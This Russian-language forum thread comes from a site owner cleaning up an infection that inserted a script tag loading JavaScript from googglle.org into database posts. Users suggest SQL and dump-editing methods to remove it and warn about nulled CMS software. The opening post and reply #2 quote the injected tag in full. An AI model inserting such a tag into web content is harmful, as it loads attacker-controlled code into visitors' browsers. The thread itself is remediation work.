Гуру MySQL

G
На сайте с 14.10.2009
Offline
28
810

Доброй ночи гугу MySQL, хотел бы задать вопрос, по работе с базой данных

у меня в базу вирус добавил вот такую строчку

<script src="http://googglle.org/d06257c2e9e7d89c6f448e916331e207.js" type="text/javascript"></script>

все бы было хорошо и я бы без проблем сделал бы UPDATE с replace и заменил бы эту строчку на что то другое. но вот эта "d06257c2e9e7d89c6f448e916331e207" часть динамическая в каждом новом посте.

Что подскажите сделать ?? Возможно каким то запросом проапдейтить базу или может есть другие варианты ?

За ранее благодарен!!!

Мораль, совесть, дружба, несравнимо с деньгами, но деньги забрали у Людей выбор сравнивать(g-xx-s) блог SEO – НЛПера (http://g-xx-s.com)
Антон Лавеев
На сайте с 31.10.2005
Offline
425
#1

WHERE `поле` LIKE `%googglle.org%`

☠️☠️☠️
G
На сайте с 14.10.2009
Offline
28
#2
Tarry:
WHERE `поле` LIKE `%googglle.org%`

этим запросом мы найдет посты с этой строчкой, а нужно еще удалить именно это строку

<script src="http://googglle.org/d06257c2e9e7d89c6f448e916331e207.js" type="text/javascript"></script>

а все остальное оставить в посте

Codd
На сайте с 13.01.2011
Offline
65
#3
Возможно каким то запросом проапдейтить базу или может есть другие варианты ?

Запросом не получится, в mysql нет операций изменения значений ячеек с помощью регулярных выражений.

Mad_Man
На сайте с 10.11.2008
Offline
162
#4

Random idea:

SELECT * 
FROM `foo`
WHERE `bar`
REGEXP 'googglle.org[[./.]]*[A-Z,a-z,0-9]*.js'

Удачи в тестах.

C2
На сайте с 14.07.2009
Offline
83
#5

сдампить базу в текстовый файл, дальше открыть в текстовом редакторе, сделать замену (ну или с помощью sed). потом вогнать дамп обратно.

A
На сайте с 08.02.2009
Offline
15
#6

имя js это md5хеш похоже, фиксированной длины

поэтому можно так:


UPDATE test
SET title = CONCAT(
SUBSTR(title, 1, position('googglle.org' in title) - 21),
SUBSTR(title, position('googglle.org' in title) + 82)
)
WHERE title LIKE '%googglle.org%'
relizeoff
На сайте с 13.01.2011
Offline
9
#7

Сталкивался с этим буквально вчера =) Будет действовать на DLE 9.2

1. Дампишь базу и копируешь на комп

2. Открывает блокнотом

3. Заменяешь текст

<script на <!-- <script
</script> на </script> -->

4. Сохраняешь, заливаешь, восстанавливаешь базу данных

5. Пересохраняешь все новости (такая функция появилась лишь в версии 9.2)

6. После этого все нежелательные скрипты удалятся и останется мусор вида:

&lt;!-- -->

7. Теперь снова дампишь базу данных, копируешь на комп, открываешь блокнотом

8. Удаляешь весь мусор вида &lt;!-- -->

9. Сохраняешь, заливаешь, восстанавливаешь и вуаля =)

ПС - при замене в пункте 3 нужно быть осторожным, потому что в начале дампа базы данных идет модуль "Рекламные материалы", в которых могуть быть ваши рекламные скрипты. Их успешно пропускаем

Немного муторно, но у меня получилось только так. Будут вопросы - в ЛС. Удачи =)

C2
На сайте с 14.07.2009
Offline
83
#8
Сталкивался с этим буквально вчера =) Будет действовать на DLE 9.2

Скажите, а дле у вас был хммм нелицензионный? Вы его там как-то обновляли и тд после этого?

Само удаление поможет только до след раза.

Вы ж не будете раз в неделю так делать. вломили раз - вломят еще раз.

G
На сайте с 14.10.2009
Offline
28
#9
avarix:
имя js это md5хеш похоже, фиксированной длины

поэтому можно так:

UPDATE test
SET title = CONCAT(
SUBSTR(title, 1, position('googglle.org' in title) - 21),
SUBSTR(title, position('googglle.org' in title) + 82)
)
WHERE title LIKE '%googglle.org%'

Большое спасибо. этот метод 100% рабочий.

relizeoff
На сайте с 13.01.2011
Offline
9
#10

DLE был не лицензионный. Не знаю что там после с этой базой делали, но факт отсается фактом - база очищена. Да и вопрос был не в этом, а в том какие ещё есть методы

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий